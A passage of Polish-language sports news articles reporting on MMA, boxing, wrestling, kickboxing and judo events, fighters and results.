„Tybur” tytuł wywalczył rok temu w pojedynku z Damianem Grabowskim. Pojedynek trwał zaledwie osiemdziesiąt osiem sekund. Tybura szybko wypunktował Grabowskiego i został nowym mistrzem M-1. Do tej pory polski zawodnik tylko raz bronił pasa. Podczas gali M-1 Challenge 53 zmierzył się z Denisem Smoldarevem i nie dał rywalowi zbyt wiele czasu na zaprezentowanie umiejętności. Tybura już w pierwszej rundzie zmusił swojego rywala do odklepania. Bezradny Smoldarev pozostając w ucisku musiał poddać się.

Tybura pozostawał niepokonany do maja 2015 roku, kiedy przyszło mu się spotkać ze Stephanem Puetzem. Panowie zmierzyli się w pojedynku okrzykniętym mianem „superwalki”. Nie ma się, co dziwić, że owo starcie miało taki właśnie tytuł. Tybura to mistrz wagi ciężkiej, z kolei Puetz dominuje w półciężkiej. Nieoczekiwanie Polak musiał uznać wyższość rywala. Puetz zawiesił wysoko poprzeczkę, był ruchliwy, aktywny i znalazł sposób na mistrza wagi ciężkiej. W trzeciej rundzie Tybura został znokautowany, jednak nie stracił tytuł czempiona.

We wrześniu polski fighter stanie do obrony pasa mistrzowskiego po raz drugi. 5 września podczas gali w Pekinie jego przeciwnikiem będzie Ante Delija. Dla Polaka będzie to czternasta walka w zawodowej karierze.

Niebezpieczny Chorwat

Zawodnik z Bałkanów jest silny. Ostatnią porażkę poniósł w lutym 2014 roku, jego pogromcą okazał się Denis Smoldarev. Później Estończyk walczył z Tyburą, który go pokonał. Czy to dobry znak dla polskiego zawodnika?

Ante Delija wygrał pięć ostatnich pojedynków, ale tylko jeden z nich stoczył dla organizacji M-1. Fighter z Dubrovnika imponuje skutecznością. Tylko dwie jego zwycięskie walki zakończyły się werdyktami sędziowskimi. W większości wygranych pojedynków zmuszał swoich rywali do poddania. Delija w tym roku stoczył dwa pojedynki – na gali M-1 Challenge 56 wygrał decyzją sędziów z Konstantinem Gluhovem oraz na OR 13 znokautował Tibora Sosa.

KM

Czy Mayweather powie dość?

Floyd Mayweather Jr jest wybitną postacią świata boksu. Przy okazji tworzy fenomenalne widowiska, jest marką samą w sobie i skutecznym biznesmenem. Czy jego czas na ringu dobiega końca?

Mayweather daje do zrozumienia, że niebawem stoczy ostatnią walkę. Wielu w to niedowierza. A sam Mayweather jakby stroni od jednoznacznych deklaracji.

Poskromił Pacquiao

Wszyscy fani boksu, a przy okazji cały świat czekał na pojedynek XXI wieku. Negocjacje trwały latami, jednak na „starość” udało się dopiąć wszystkie formalności i doprowadzić do walki. W maju w Las Vegas doszło do długo wyczekiwanego pojedynku Floyda Mayweathera Jr i Manny Pacquiao.

„Money” udowodnił, że jest najlepszym pięściarzem na świecie. Pacquiao musiał przełknąć gorycz porażki, ale po walce szukał usprawiedliwień i mówił o kontuzji barku. Mayweather w ringu zrobił swoje. Był skuteczny, dokładny, precyzyjny i przyjął odpowiednią taktykę. Fenomen Mayweathera polega na jego umiejętności maksymalnej koncentracji, zachowania spokoju oraz odpowiedniej postawy w defensywie. Amerykanin potrafi zneutralizować atuty swoich rywali. Przed pojedynkiem z Pacquiao zakładano, że Filipińczyk może zaskoczyć „Moneya” szybkością, jednak nic takiego nie miało miejsca. Po dwunastu rundach sędziowie jednoznacznie wskazali na zwycięstwo Mayweathera.

Czy był to przedostatni pojedynek Amerykanina na zawodowym ringu? Mayweather pojawi się po raz kolejny na arenie walki 12 września w MGM Grand w Las Vegas. Trwają domysły, czy będzie to jego ostatni pojedynek w karierze. Maywewather jest coraz bliżej decyzji o powiedzeniu sobie: dość. Po raz kolejny wyraźnie widać mistrzostwo „Moneya”. Amerykanin jest wycofany, ale show nadal trwa. Wszyscy snują domysły, co dalej z karierą Mayweathera, a tylko on zna decyzję.

Wiadomo, że wiek robi swoje. Na brak gotówki Maywaether narzekać nie może, a w poprzednim roku mówiło się, iż będzie chciał stworzyć własną grupę bokserską. Z pewnością cieszyłaby się ona ogromną popularnością oraz zainteresowaniem.

Telewizja bez planów

Przydomek „Money” nie wziął się znikąd. Mayweather przyciąga widzów, sponsorów i stacje telewizyjne, co rodzi ogromne zyski. Wedle Stephena Espinozy, wiceprezesa telewizji Showtime Sports , we wrześniu Amerykanin stoczy ostatni pojedynek. – Informacje, które ostatnio pojawiły się w mediach nie mają nic wspólnego z prawdą. Ani Showtime, ani CBS nie prowadzą rozmów z Floydem Mayweatherem w sprawie rozszerzenia jego obecnego kontraktu o kolejne walki. Nie planujemy takich działań. Floyd powiedział nam, że najbliższa walka będzie jego ostatnią i trzymamy go za słowo. Pięściarz potwierdził to również po swojej ostatniej walce, którą stoczył w maju.  Mamy z nim dobre relacje. Jesteśmy zadowoleni z naszej wspólnej umowy. Zrobiliśmy pięć walk, na które został sprzedanych 10 mln pakietów PPV – powiedział Espinoza.

Na obecną chwilę wszystkie znaki wskazują na to, że Mayweather we wrześniu stoczy ostatnią walkę. Jednak twarz boksu potrafi zaskakiwać. Czy wieczorem 12 września powie „dość”?

KM

Krawczyk wygrała w Warszawie

Triumf na własnej ziemi smakuje wyjątkowo. Coś o tym powiedzieć może Katarzyna Krawczyk. Nasza zapaśniczka wygrała turniej Poland Open w Warszawie.

Podczas dwudniowej rywalizacji dobrą dyspozycję potwierdziło kilka naszych zawodniczek. Z pewnością jest to dobry prognostyk przed zbliżającymi się mistrzostwami świata w Las Vegas.

Złoto i brązowy blask

W kategorii 53kg na medal spisały się dwie Polki. Nasze zapaśniczki rozdzieliła tylko reprezentantka Rosji Lubow Silnikowa. Katarzyna Krawczyk potwierdziła, że w tym roku jest w dobrej dyspozycji. Polka rozpoczęła rywalizację w Warszawie zdecydowanie, czym podkreśliła swoje możliwości. Krawczyk pokonała 10:0 Hiszpankę Marnę Ruude. W 1/8 finału rywalką Polki była Irina Olgonova. Pojedynek zacięty i wyrównany, jednak Krawczyk wykonała dobrą pracę, okazała się skuteczniejsza i wygrała 5:3. Denes Mercedesz nie potrafiła znaleźć sposobu na naszą zawodniczkę, która pokonując Węgierkę uzyskała awans do półfinału. W rywalizacji o finał spotkały się dwie Polki. Katarzyna Krawczyk i Roksana Zasina zmierzyły się w Warszawie, ale walka toczyła się o coś więcej. Obie rywalizują o udział w mistrzostwach świata w Las Vegas. Po tym pojedynku plusik pojawił się przy nazwisku Krawczyk. W finale reprezentantka Polski spotkała się z Lubow Silnikową. Pojedynek pełny był zwrotów akcji, emocji i trzymał w napięciu do samego końca. Krawczyk po pierwszej rundzie przegrywała 2:6, ale w drugiej części uwijała się w pocie czoła, aby odrobić straty. Ta sztuka udała się. Krawczyk wygrała i zdobyła złoty medal. Z kolei Roksana Zasina zajęła trzecie miejsce.

W drugim dniu turnieju rywalizacja toczyła się w czterech kategoriach i tylko w jednej Polska nie wywalczyła miejsca na podium. Reprezentantka Mongolii Szowdoor triumfowała w 58kg. W kategorii 63kg o zwycięstwo walczyło piętnaście zawodniczek. Po brązowy medal sięgnęła Monika Michalik, tak jak i Daria Osocka w 75kg.

Podczas Poland Open biało-czerwone sięgnęły po sześć medali. W pierwszym dniu srebro wywalczyła Agnieszka Wieszczek – Kordus, a brąz zdobyła Iwona Matkowska.

Medal klasyka

W Warszawie toczył się również Memoriał Władysława Pytalsińskiego w stylu klasycznym. Pierwszego dnia reprezentantom Polski nie udało się wywalczyć medalu. Na starcie drugiego dnia rywalizacji stanęło ponad stu zapaśników w czterech kategoriach wagowych.

Polska zakończyła memoriał z jednym medalem na koncie. W kategorii 66kg na trzecim miejscu podium stanął Mateusz Bernatek z AKS Piotrków Trybunalski. Blisko medalu Łukasz Banak ze Śląska Wrocław, który w kategorii 130kg był piąty. Triumfował reprezentant Niemiec Frank Stabler. Rywalizacja w Warszawie została zdominowana przez zapaśników z Rosji i Niemiec. Reprezentanci Sbronej zdobyli dwa złote, jeden srebrny i dwa brązowe medale. Niemcy w swoim dorobku zapisali złoto, dwa srebra i brąz.

KM

Ochirbat zabrała złoto Polce

Agnieszka Wieszczek – Kordus była o krok od wywalczenia złotego medalu w zapasach kobiet w turnieju Poland Open. Na drodze naszej zawodniczki stanęła reprezentantka Mongolii.

32-letnia zapaśniczka Grunwaldu Poznań walczyła w kategorii 69kg. Wieszczek – Kordus jest doświadczoną i utytułowaną zawodniczką, jednak nigdy nie udało jej się wywalczyć pierwszego miejsca na najważniejszych imprezach. Na mistrzostwach Europy aż cztery razy sięgała po brązowy medal. Wieszczek – Kordus ma nadzieję, że za rok na Igrzyskach Olimpijskich uda jej się stanąć na podium i powtórzyć sukces z Pekinu, gdzie wywalczyła trzecie miejsce. Teraz przed naszą zapaśniczką mistrzostwa świata w Las Vegas. W Warszawie Polka pokazała, że jest w dobrej dyspozycji.

Kobiety na medal

Nasaburmaa Ochirbat w finale kategorii 69kg okazała się lepsza od naszej zawodniczki. Gdyby początek walki  wyglądał inaczej, ale to tylko gdybanie. Wieszczek – Kordus źle rozpoczęła rywalizację z reprezentantką Mongolii i przegrała pierwszą rundę 0:4. Polka w drugiej części zaskoczyła swoją rywalkę agresją i zdecydowaniem, jednak Ochirbat nie pozostała bierna. Polka wygrała 6:2, ale zwycięstwo przypadło Mongołce. W rywalizacji osiemnastu zawodniczek Wieszczek zajęła drugie miejsce.

Kolejny dobry start w tym roku zaliczyła Iwona Matkowska. Polka startująca w kategorii 48kg w Poland Open uplasowała się na trzecim miejscu. Triumfowała Maria Stadnik z Azerbejdżanu. O krok od podium była Anna Łukasiak, której przypadła piąta lokata. W kategorii 55kg rywalizowało piętnaście zapaśniczek, więc dobre wejście w zawody pozwalało myśleć o sukcesie. Na trzecim miejscu uplasowała się Paula Kozłow. Agnieszka Król w kategorii 60kg zajęła dziesiąte miejsce, a na starcie pojawiło się dwanaście zawodniczek.

Zatem trzy medale to wynik przyzwoity. Po raz kolejny dobrą dyspozycję potwierdziła Matkowska. Przypomina o sobie Agnieszka Wieszczek – Kordus, dlatego też należy mieć nadzieję, że w Las Vegas będzie ciekawie.

Tracz najwyżej

Warszawa jest również areną zmagań zapaśników w stylu klasycznym w Memoriale Władysława Pytlasińskiego. W sobotę nie doczekaliśmy się medalu naszych zapaśników, być może w niedzielę na podium stanie Damian Janikowski.

Najlepszy wynik osiągnął Michał Tracz. Kadrowicz Ryszarda Wolnego w wadze 59kg  uplasował się na ósmej pozycji i było to jedyne miejsce w pierwszej „10” reprezentanta Polski. Na starcie stanęło aż trzydziestu sześciu zawodników, triumfował Rosjanin Mengijan Siemionow.

W rywalizacji panów kategorie wagowe były obsadzone dość licznie. Z dobrej strony pokazali się zapaśnicy z Węgier. W kategorii 71kg triumfował Tamas Lorincz, a na najniższym stopniu podium uplasował się Balint Korpasi. Zawodników z Budapesztu przedzielił tylko Niemiec Matthias Maasch. Kolejny Węgier Peter Bacsi okazał się najlepszy w 80kg, który w finale pokonał Wikatara Sasnouskiego z Białorusi.

KM

Kickboxing emigruje do Londynu

Polska jesień kojarzy się ze swego rodzaju pięknem. Mówi się złota polska jesień. Z kolei w Anglii utarło się sformułowanie „angielska pogoda”, które służy do opisu trudnych warunków atmosferycznych. Czy te dwie rzeczywistości da się połączyć? Owszem, nawet na gruncie kickboxingu.

20 września fighterzy z Anglii i Polski postarają się stworzyć widowisko najwyższych lotów. Pięknym wspomnienie dla nieco starszych kibiców piłki nożnej jest pamiętny mecz biało-czerwonych z Synami Albionu z 1973 roku, w którym padł remis 1:1. We wrześniu kolejna odsłona rywalizacji Anglii i Polski, tym razem areną walki będzie ring, a głównymi aktorami kickbokserzy oraz wojownicy MMA.

Zapowiadają wielkie emocje

Czy tak będzie? Trzeba poczekać. Organizatorzy stopniowo ujawniają kolejne elementy planowanego widowiska. W Londynie zostało podpisane porozumienie między organizatorem gali DUET Fight Night reprezentowanym przez Tomasza Biernackiego, a Keithem Allenem. Obaj panowie są obyci w świecie kickboxingu. Allen doświadczony promotor, który przez dwadzieścia lat swojej działalności wyrobił sobie markę. To połączenie ma gwarantować niezapomniane wrażenia i widowisko pełne walki, w którym ujawni się kickboxing w najlepszej formie.

Zapowiedzi są huczne, a szczegóły stopniowo wychodzą na jaw. Karta walk nie jest jeszcze znana, a wiadomo, że to nazwiska mają najbardziej przyciągać widzów. Już sam pomysł rywalizacji angielsko-polskiej brzmi ciekawie. Na naszym rynku z inicjatywą rozgrywania spotkań międzypaństwowych wyszła grupa DSF, która zorganizowała już mecze Polski z Macedonią oraz Polski z Łotwą, a w planach ma już kolejne. Biernacki chce spróbować czegoś nowego. Na obiekcie Indiog O2 Arena w Londynie 20 września o godzinie 18.00 rozpocznie się hucznie zapowiadane widowisko. Magnesem przyciągającym widzów oraz wzbudzającym zainteresowanie mają być również walki w formule MMA.

O co toczy się gra?

Wiadomo, że głównymi aktorami są fighterzy, a czynnikiem decydującym o jakości widowiska ich umiejętności. W Londynie pojawi się kolejny element działający na wyobraźnię. Posiadacz pasa jest kimś, kto może poszczycić się mianem mistrza i ma prawo twierdzić, że zdobył górę. Gdzie jest szczyt? Na to pytanie każdy musi odpowiedzieć indywidualnie. Bo sukces w każdej organizacji należy rozpatrywać jako zdobycie góry.

Podczas angielsko-polskiego wieczoru w Londynie aż w czterech walkach stawką pojedynku będą pasy mistrzowskie. Do tej pory poznaliśmy dwa z nich. Podczas wrześniowej gali fighterzy zmierzą się o tytuł Międzynarodowego Zawodowego Mistrza Polski w formule K1 RULES oficjalnie sygnowany przez Polski Związek KickBoxingu oraz pas Mistrza Gali DUET FIGHT NIGHT w formule MMA.

Teraz trzeba tylko i wyłącznie czekać na aktorów widowiska. Do tej pory organizator przedstawił jedną parę. Zmierzą się w nim Cerkez Sevket oraz Jerzy Wroński. Trenujący w warszawskiej Palestrze zawodnik jest wicemistrzem Polski w K-1. W 2011 roku zdobył Puchar Świata, był wicemistrzem Europy oraz wicemistrzem świata. W Londynie Wroński stoczy piątą zawodową walkę.

KM

Pierwsze ciosy już padły

Waga ciężka przyciąga niczym magnes. Zwłaszcza w przypadku walki na szczycie, w której bierze udział Władimir Kliczko. Ukrainiec w październiku zmierzy się Tysonem Fury’m. Pięściarze wyprowadzili już pierwsze ciosy – słowne.

24 października na stadionie w Dusseldorfie Fury postara się znokautować czempiona WBA, WBO, IBF, IBO. Kliczko starzeje się, ale nikt nie potrafi zakończyć jego dominacji. Wielu próbowało, ale jak do tej pory odchodzili z kwitkiem.

Angielska terapia

Władimir Kliczko ma bogate doświadczenie i potrafi dokonywać analiz, z których wyciąga słuszne wnioski. Nie ulega wątpliwości, że zachowanie Tysona Fury’ego jest niezwykle podobne do Davida Haye’a. Z Hayemakerem ukraiński mistrz zmierzył się w 2011 roku. Przed pojedynkiem toczyła się długa wojna słowna, w której Brytyjczyk zapewniał, że upora się z Kliczko i będzie królem wagi ciężkiej. Rzeczywistość okazała się brutalna dla Haye.

Fury to bardzo podobny typ. Narcyz, pewny siebie aż do przesady, nieco bujający w chmurach, ale zwraca na siebie uwagę i nakręca widowisko, co ma swoją wartość w tworzeniu show i zainteresowania wydarzeniem. Fury to kawał chłopa. Ma odpowiednie warunki i silny cios, ale Kliczko niejedno już widział i tak naprawdę jest w stanie przygotować się do walki z każdym. – Nie będę mówił, że Tyson Fury będzie łatwym rywalem, tak samo jak nie mówiłem tak o żadnym z moich przeciwników. W trakcie pojedynku wiele może się zdarzyć. Fury to ambitny facet, ma 26 lat i dziś mówi rzeczy, których za jakiś czas będzie bardzo żałował. Widzę, że trzeba zastosować wobec niego terapię. David Haye był jednym z tych pięściarzy, któremu obiecałem, że po tym, jak go pokonam stanie się lepszym człowiekiem i tak właśnie się stało – powiedział Ukrainiec.

Z kolei Fury w słowach nie przebiera. Brytyjczyk bierze pod uwagę scenariusz, w którym do pojedynku może nie dojść. Z racji obaw czempiona z Ukrainy. – Jeśli dojdzie do tej walki. Mówię jeśli, dlatego, że ci idioci doznają automatycznej kontuzji, gdy stanąć ze mną w ringu. Czy tak nie jest? Gdy obóz treningowy nie idzie po ich myśli, to rezygnują z walki. Nie bądźcie zaskoczeni jeśli okaże się, że pojawi się opcja przełożenia pojedynku – tłumaczy Brytyjczyk.

Kolejny w kolejce

Kliczko wyjdzie na ring dopiero w październiku, a już pojawił się kolejny chętny do walki z nim. Wcześniej mówiło się o Deontayu Wilderze. Teraz swoje chęci do rywalizacji z czempionem wagi ciężkiej ujawnił Antonio Tarver. „Magic Man” chce być na szczycie i stworzył plan, który pomoże mu zrealizować ten cel. – Chcę znaleźć się w elicie wielkich mistrzów. Powinienem być mistrzem świata wagi ciężkiej. Zostanę nim, ale nie wiem jeszcze jak. Wierzę w przeznaczenie. Cunningham nie da mi rady, tak samo jak nie zrobi tego Deontay Wilder. Znokautuję go i będę mógł walczyć z  facetem, z którym naprawdę chciałbym spotkać się w ringu. Chodzi o Władimira Kliczko. Gdy go pokonam to stanę się częścią największej legendy w historii boksu – tak zarysował swój plan Tarver. Warto przypomnieć, że „Magic Man” ma już 46 lat.

KM

Potrenują w Zakopane

W październiku nasi reprezentanci w kickboxingu będą walczyć o medale mistrzostw świata WAKO w Belgradzie. Jednym z etapów przygotowań kadry K-1 i low kick będzie zgrupowanie w Zakopane.

Kickboxing w Polsce rozwija się i zyskuje na popularności. Coraz większym zainteresowaniem cieszą się w pełni profesjonalne gale, którym towarzyszy odpowiednia oprawa i promocja. Warto pamiętać, że nadal pozostajemy jedną z czołowych nacji w kickboxingu.

Do Zakopanego

W sierpniu do stolicy polskich Tatr udadzą się zawodnicy low kick i K-1. Z tym, że nie równocześnie. Obie kadry będą trenowały w Zakopane przez siedem dni. Jako pierwsi na zgrupowanie udadzą się zawodnicy low kick. Trenerzy Andrzej Garbaczewski i Witold Kostka będą współpracować z grupą dwunastu fighterów. Do Zakopanego udadzą się: Joanna Walkiewicz, Kamila Bałanda, Iwona Nieroda, Marta Waliczek, Jan Lodzik, Eliasz Jankowski, Mateusz Białecki, Maciej Garbaczewski, Łukasz Kaczmarczyk, Michał Ronkiewicz, Patryk Zaborowski i Patryk Proszek. Kadra uda się do Zakopanego 5 sierpnia i będzie tam przebywała do 12 sierpnia.

Polacy w low kicku z dobrej strony pokazali się w tegorocznym turnieju w Rimini. Bardzo prestiżowe zawody WAKO Bestfighter okazały się sukcesem w wykonaniu naszej kadry. W low kicku Polska zdobyła pięć złotych medali, które zawisły na szyjach: Iwony Nierody, Marty Waliczek, Mateusza Białeckiego, Łukasza Kaczmarczyka oraz Patryka Zaborowskiego. Start we Włoszech pokazał, że biało-czerwoni są niezwykle mocni w low kicku.

Z kolei reprezentacja Polski w kickboxingu K-1 w Zakopane będzie trenowała w dniach 13-20 sierpnia. K-1 to bardzo widowiskowa formuła. Zawodnicy mają pełne pole do popisu i mogą stosować różnorakie zagrania. Powołanie na wyjazd do Zakopanego otrzymało aż trzydziestu dwóch zawodników. W tym gronie znajdują się: Patrycja Kamińska, Ewa Boś, Małgorzata Dymus, Iwona Nieroda, Aleksandra Piasecka, Róża Gumienna, Paulina Bieć, Arkadiusz Osienienko, Sebastian Słoń, Michał Królik, Krzysztof Olszewski, Paweł Stępniewski, Patryk Sagan, Eliasz Jankowski, Jan Lodzik, Mateusz Dąbrowski, Jarosław Daschke, Michał Benben, Marcin Kret, Grzegorz Mardyła, Daniel Kolasiński, Bartosz Dołbień, Kamil Ruta, Arkadiusz Kaszuba, Dawid Kasperski, Patryk Zdrojewski, Mateusz Hiki, Mateusz Pluta, Adam Abook al. Hassani, Michał Turyński, Michał Bławdziewicz i Arkadiusz Klimiuk.

Pracowity sierpień czeka Iwonę Nierodę, Eliasz Jankowskiego oraz Jana Lodzika, którzy w Zakopane spędzą dwa tygodnie.

Październikowa impreza

Bez wątpienia najważniejszą imprezą tego roku są mistrzostwa świata WAKO w Belgradzie, które odbędą się w dniach 24 – 31 października. Polacy do Serbii jadą po medale – wydaje się to oczywiste. W tym roku w bardziej dobrej dyspozycji jest Iwona Nieroda oraz Marta Waliczek. Z dobrej strony będzie chciał się pokazać Kamil Ruta, który w 2013 w Turcji zdobył tytuł mistrza świata. Wiele można oczekiwać od Dawida Kasperskiego, który ma ogromny potencjał. Na dobry występ stać Arkadiusza Kaszubę, Daniela Kolasińskiego czy wracającego po kontuzji Michała Turyńskiego.

KM

Kontrakt efektem nokautu

Daniel Omielańczuk podczas gali UFC Fight Night 72 w Glasgow pokazał, że nie powiedział jeszcze ostatniego słowa. Polak zanotował drugie zwycięstwo podczas występów dla najlepszej organizacji mieszanych sztuk walki na świecie.

Wydawało się, że Omielańczuk znalazł się pod ścianą i jego dalszy los w UFC stanął pod dużym znakiem zapytania. Można powiedzieć, że w pojedynku z Chrisem de la Rochą uciekł spod topora.

Lepsze warunki

Podczas gali w Krakowie Omielańczuk miał wrócić na właściwe tory, jednak Anthony Hamilton nie dał się znokautować. Polak miał problemy w starciu z rywalem, który uznawany był za słabszego. 32-latek z Warszawy nie udźwignął ciężaru pojedynku i przegrał decyzją sędziów. Była to druga porażka w trzecim występie w UFC i tym samym sytuacja Omielańczuka stała się trudna. Kolejna walka miała być starciem o „być albo nie być” naszego fightera w organizacji Dana White’a.

Chris de la Rocha debiutował w UFC, ale Omielańczuk nie zamierzał w żaden pomagać Amerykaninowi w adaptacji w nowym środowisku. Polak zamierzał pokazać rywalowi, że najlepsza organizacja świata mieszanych sztuk walki to wysoki poziom i trzeba być gotowym na wszystko. Omielańczuk zmasakrował de la Rochę, który na długo zapamięta tę walkę. Czterdzieści osiem sekund wstrząsnęło Amerykaninem. Omielańczuk zaczął wysokim kopnięciem, a potem pod siatką ciosami wykończył de la Rochę. Drugie zwycięstwo Polaka w UFC stało się faktem i może on spać spokojnie.

Efektowny nokaut diametralnie zmienił sytuację Omielańczuka. Nie tylko może liczyć na kolejną walkę w UFC, ale i na lepsze warunki. Polak podpisał nowy, korzystniejszy kontrakt z organizacją.

Powrót

Omielańczuk wrócił z dalekiej podróży. Jedną nogą był już poza UFC. Najlepsza organizacja mieszanych sztuk walki regularnie dokonuje czystki w swoich strukturach i nie ma litości, dla tych którzy przegrywają i nie zapowiadają poprawy. Omielańczuk zanotował dwie porażki, choć w pojedynkach z Rosholtem i Hamiltonem nie stał na straconej pozycji. Efektowny nokaut jest niezwykle ważny dla Omielańczuka. Polak pokazał, że potrafi zachwycać, a to jest niezwykle cenne w świecie UFC.

Wcześniej kontrakt z organizacją przedłużyła Joanna Jędrzejczyk. Mistrzyni wagi słomkowej stała się wizytówką polskiego MMA i jednym z najgorętszych nazwisk w UFC. Dan White nie kryje swojej sympatii do polskiej zawodniczki. W podziękowaniu za występ podczas gali UFC Fight Night w Berlinie wręczył Jędrzejczyk … trzydzieści par butów. Polka w zawodowej karierze jeszcze nie przegrała, a UFC stoczyła cztery zwycięskie walki.

Już 5 września na gali UFC 191 w Las Vegas kolejną walkę stoczy Jan Błachowicz. „John” stanie przed trudnym zadaniem, gdyż jego rywalem będzie Anthony Johnson, który ostatnio walczył o pas wagi półciężkiej.

KM

Szpilka zagra po kubańsku

Artur Szpilka poznał nazwisko swojego kolejnego rywala. 14 sierpnia na gali Premier Boxing Champions w Prudential Center w Newark popularny „Szpila” zmierzy się z Yasmanym Consuegrą.

Dla wielu Kuba kojarzy się z reżimem totalitarnym i rządami braci Castro – Fidela, a następnie Raula. Tam też wartością samą w sobie są cygara i rum. A na jakim poziomie jest boks? Więcej na ten temat będzie można powiedzieć po najbliższej walce Artura Szpilki. Yasmany Consuegra rysuje się jako trudny rywal.

Wyzwanie króla Artura

Ty Cobb i Manuela Quezada nie należą do bokserów z najwyższej półki. Dwie walki stoczone w UIC Pavilion w Chicago były dobrym przetarciem dla Szpilki, który rozwija się pod okiem nowego trenera – Ronniego Shieldsa. Rozprawienie się z Cobb’em zajęło Szpilce dwie rundy, z Quezadą męczył się niecałe trzy minuty dłużej. Wydaje się, że w końcu Polak będzie miał okazję sprawdzić swoje umiejętności w starciu z solidnym rywalem.

Yasmany Consuegra liczy sobie 31 lat i do niedawna był niepokonany na zawodowym ringu. Sposób na Kubańczyka znalazł Dominic Breazeale, który wygrał w trzeciej rundzie przez nokaut. Consuegra miał nadzieję na kolejne zwycięstwo i wyprowadził kilka mocnych ciosów, jednak rywal okazał się silniejszy. Breazeale trafił Kubańczyka w tył głowy, co rozstrzygnęło walkę.

Consuegra jest twardym bokserem, którego najgroźniejszą bronią jest mocny prawy. Czy Szpilka musi obawiać się Kubańczyka? Do tej pory 31-latek nie pokonał żadnego boksera z wielkim nazwiskiem. Consuegra przed pojedynkiem z Breazeale nie rywalizował z pięściarzem, który nie doznał porażki na zawodowym ringu. Można powiedzieć, że rywalizacja z Amerykaninem była okazją do sprawdzenia możliwości Kubańczyka. 31-latek nie zdał tej próby. Wcześniej Consuegra walczył z rywalami wiekowymi bądź słabymi, którzy nabijają rekordy innym. Takie pojedynki też trzeba umieć wygrywać. Nie dziwi fakt, że Kubańczyk aż czternaście z siedemnastu zwycięskich walk zakończył przed czasem. Consuegra to pięściarz, który bić potrafi i ma mocny cios. Szpilka dostanie szansę sprawdzenia swoich możliwości. W końcu będzie walczył z pięściarzem, który ma dobry bilans na zawodowym ringu. Zatem można się spodziewać, że Kubańczyk zawiesi „Szpili” poprzeczkę nieco wyżej niż Cobb i Quezada.

Po wygraną

Nie ma się, co czarować i bawić w dyplomację. Celem Szpilki jest zwycięstwo. Polski bokser wagi ciężkiej będzie miał okazję rywalizować z przeciwnikiem wymagającym, ale wydaje się, że „Szpila” ma zdecydowanie większy potencjał. 26-latek musi po raz kolejny wejść do ringu i udowodnić swoją wartość.

W tym przypadku ważna jest koncentracja. Consuegra to pięściarz, który ma mocny cios i chwila nieuwagi może źle się skończyć dla Szpilki. Kubańczyk to rywal zdecydowanie bardziej wymagający niż dwaj poprzedni, ale i jego „Szpila” jest w stanie posłać na deski. Breazeale dał przykład.

KM

Wrocław okraszony złotem

Polscy judocy zdominowali rywalizację w kategorii 90kg wśród panów. Po złoto sięgnął Piotr Kuczera, a Jakub Ozimek i Rafał Kozłowski uplasowali się na najniższym stopniu podium. Wrocław przez dwa dni był stolicą judo w wykonaniu juniorów.

Puchar Europy miał charakter otwarty, co dawało szansę zawodnikom z każdego zakątka świata, aby zaprezentować się w stolicy Dolnego Śląska. We Wrocławiu stawiło się ponad czterystu judoków, w tym gronie było siedemdziesięciu trzech Polaków. Gospodarze zaznaczyli swój udział w turnieju. Nie obyło się bez złotego medalu dla Polski. Mazurek Dąbrowski rozbrzmiał we wrocławskiej hali Orbita.

Nasza „90”

Polacy rozłożyli na łopatki rywali w kategorii 90kg. Jedynie Eduard Trippel zdołał wedrzeć się między naszych zawodników, ale decydującą walkę przegrał. Najlepszy w rywalizacji w 90kg okazał się 20-letni Piotr Kuczera. Zawodnik z Rybnika był we Wrocławiu bezkonkurencyjny. Na początek Polak musiał zmierzyć się z Rokasem Simonisem, jednak ten nie sprawił zbyt wielu problemów naszemu judoce. Kuczera pokonał następnie Lorenzo Perricone, co otworzyło mu drzwi do półfinału. A tam spotkało się dwóch Polaków. W bratobójczym starciu poległ Jakub Ozimek, który nadal miał nadzieję na zdobycz medalową. Kuczera w finale zwyciężył Niemca Eduarda Trippela.

Jakub Ozimek , zanim trafił na Kuczerę, odprawił z turnieju Pawła Borowskiego. Także we Wrocławiu w kategorii 90kg Polacy rozbrykali się niczym małe zające. Ozimek ostatecznie uplasował się na trzecim miejscu, a w decydującym pojedynku okazał się lepszy od Sandro Makatsariego. Po brązowy medal sięgnął również Rafał Kozłowski. Nasz judoka uporał się z zawodnikiem z Francji, który nie miał szczęścia w rywalizacji z biało-czerwonymi. Wcześniej Lorenzo Perricone przegrał z Kuczerą i miło Polaków wspominał nie będzie.

I jeszcze trzy

Dorobek polskich judoków we Wrocławiu zatrzymał się na liczbie sześć. Połowę medali biało-czerwoni zdobyli w kategorii 90kg, co obrazuje dominację naszych zawodników w tej wadze. Sukces reprezentacji to w głównej mierze zasługa panów, tylko jednej pani udało się stanąć na podium. Mistrzyni Polski seniorek Beata Pacut sięgnęła po brązowy medal w kategorii +78kg. W decydującym pojedynku doszło do starcia dwóch Polek. Pacut pokonała Annę Załęczną.

Na zdobycz Polaków złożył się jeden złoty i pięć brązowych medali. Oprócz Pacut, Kozłowskiego oraz Ozimka na najniższym stopniu podium uplasowali się Jan Jackiewicz, a także Paweł Wawrzyczek. Zawodnik AON-u Warszawa w kategorii +100kg pokonał Artsjoma Radczankę. Z kolei Wawrzyczek rozpoczął zbieranie medali przez Polaków. Judoka AZS-u AWF Katowice w sobotę sięgnął po brązowy medal w kategorii 66kg. Pozostałe „krążki” Polacy zdobyli w drugim dniu rywalizacji.

Warto nadmienić, że w sobotę fantastycznie zaprezentowały się reprezentantki Japonii, które zwyciężyły we wszystkich kategoriach wagowych.

Przed naszymi juniorami kolejne starty. Teraz czas na rywalizację w Pucharze Europy w Berlinie.

KM

Powtórka Sarnackiego

Okazuje się, że Tiumeń podoba się Maciejowi Sarnackiemu. Nie chodzi tylko i wyłącznie o aspekt wizualny, ale o fakt, że polski judoka po raz kolejny w zawodach Grand Slam stanął na trzecim miejscu podium. Sarnacki powtórzył swój wynik z poprzedniego sezonu.

Nasz najlepszy judoka przygotowuje się do sierpniowych mistrzostw świata w Astanie. Sarnacki zdobyciem brązowego medalu w Tiumeniu wlał w serca kibiców nadzieję, że może być lepiej niż podczas Igrzysk Europejskich w Baku. Tam Polakom nie udało się wywalczyć ani jednego medalu.

Japońska ściana

